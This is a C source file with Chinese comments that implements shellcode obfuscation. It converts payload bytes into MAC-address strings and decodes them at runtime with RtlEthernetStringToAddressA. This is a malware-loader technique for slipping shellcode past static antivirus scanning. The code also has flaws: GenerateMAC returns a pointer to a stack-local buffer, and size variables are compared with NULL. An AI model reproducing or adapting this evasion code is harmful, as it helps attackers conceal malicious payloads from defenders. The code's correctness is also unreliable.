// 函数接收 6 个原始字节并以 MAC 地址字符串格式返回它们
char* GenerateMAC(int a, int b, int c, int d, int e, int f) {
	char Output[64];

	// 创建 MAC 地址并将其保存到 'Output' 变量
	// 格式: XX-XX-XX-XX-XX-XX (每个 X 是一个十六进制字符)
	sprintf(Output, "%0.2X-%0.2X-%0.2X-%0.2X-%0.2X-%0.2X",a, b, c, d, e, f);

	// 可选: 将 'Output' 变量打印到控制台
	// printf("[i] Output: %s\n", Output);

	return (char*)Output;
}

// 生成 shellcode 的 MAC 输出表示
// 函数需要指向 shellcode 缓冲区的指针或基地址以及 shellcode 缓冲区的大小
BOOL GenerateMacOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {

	// 如果 shellcode 缓冲区为 null 或大小不是 6 的倍数,则退出
	if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 6 != 0){
		return FALSE;
	}
	printf("char* MacArray [%d] = {\n\t", (int)(ShellcodeSize / 6));

	// 我们将一次读取一个 shellcode 字节,当总数为 6 时,开始生成 MAC 地址
	// 变量 'c' 用于存储读取的字节数。默认情况下,从 6 开始。
	int c = 6, counter = 0;
	char* Mac = NULL;

	for (int i = 0; i < ShellcodeSize; i++) {

		// 跟踪读取的字节数,当它们达到 6 时,我们进入此 if 语句以开始生成 MAC 地址
		if (c == 6) {
			counter++;
			
			// 从 6 个字节生成 MAC 地址,这些字节从 i 开始到 [i + 5]
			Mac = GenerateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5]);
			
			if (i == ShellcodeSize - 6) {

				// 打印最后一个 MAC 地址
				printf("\"%s\"", Mac);
				break;
			}
			else {
				// 打印 MAC 地址
				printf("\"%s\", ", Mac);
			}
			c = 1;

			// 可选: 美化控制台上的输出
			if (counter % 6 == 0) {
				printf("\n\t");
			}
		}
		else {
			c++;
		}
	}
	printf("\n};\n\n");
	return TRUE;
}

// 定义 RtlEthernetStringToAddressA 函数指针类型
typedef NTSTATUS (NTAPI* fnRtlEthernetStringToAddressA)(
	PCSTR		S,          // MAC 地址字符串
	PCSTR* 		Terminator, // 终止符位置
	PVOID		Addr        // 输出的二进制地址
);

BOOL MacDeobfuscation(IN CHAR* MacArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

	PBYTE          pBuffer        = NULL,
                   TmpBuffer      = NULL;

	SIZE_T         sBuffSize      = NULL;

	PCSTR          Terminator     = NULL;

	NTSTATUS       STATUS         = NULL;

	// 从 ntdll.dll 获取 RtlEthernetStringToAddressA 地址
	fnRtlEthernetStringToAddressA pRtlEthernetStringToAddressA = (fnRtlEthernetStringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlEthernetStringToAddressA");
	if (pRtlEthernetStringToAddressA == NULL) {
		printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// 获取 shellcode 的真实大小,即 MAC 地址数量 * 6
	sBuffSize = NmbrOfElements * 6;


	// 分配将保存去混淆 shellcode 的内存
	pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
	if (pBuffer == NULL) {
		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	TmpBuffer = pBuffer;

	// 循环遍历保存在 MacArray 中的所有 MAC 地址
	for (int i = 0; i < NmbrOfElements; i++) {

		// 一次去混淆一个 MAC 地址
		// MacArray[i] 是数组 MacArray 中的单个 Mac 地址
		if ((STATUS = pRtlEthernetStringToAddressA(MacArray[i], &Terminator, TmpBuffer)) != 0x0) {
			// 如果失败
			printf("[!] RtlEthernetStringToAddressA Failed At [%s] With Error 0x%0.8X", MacArray[i], STATUS);
			return FALSE;
		}

		// 每次向 TmpBuffer 写入 6 个字节
		// 因此 Tmpbuffer 将递增 6 以存储接下来的 6 个字节
		TmpBuffer = (PBYTE)(TmpBuffer + 6);

	}

	// 保存去混淆 Payload 的基地址和大小
	*ppDAddress  = pBuffer;
	*pDSize      = sBuffSize;

	return TRUE;

}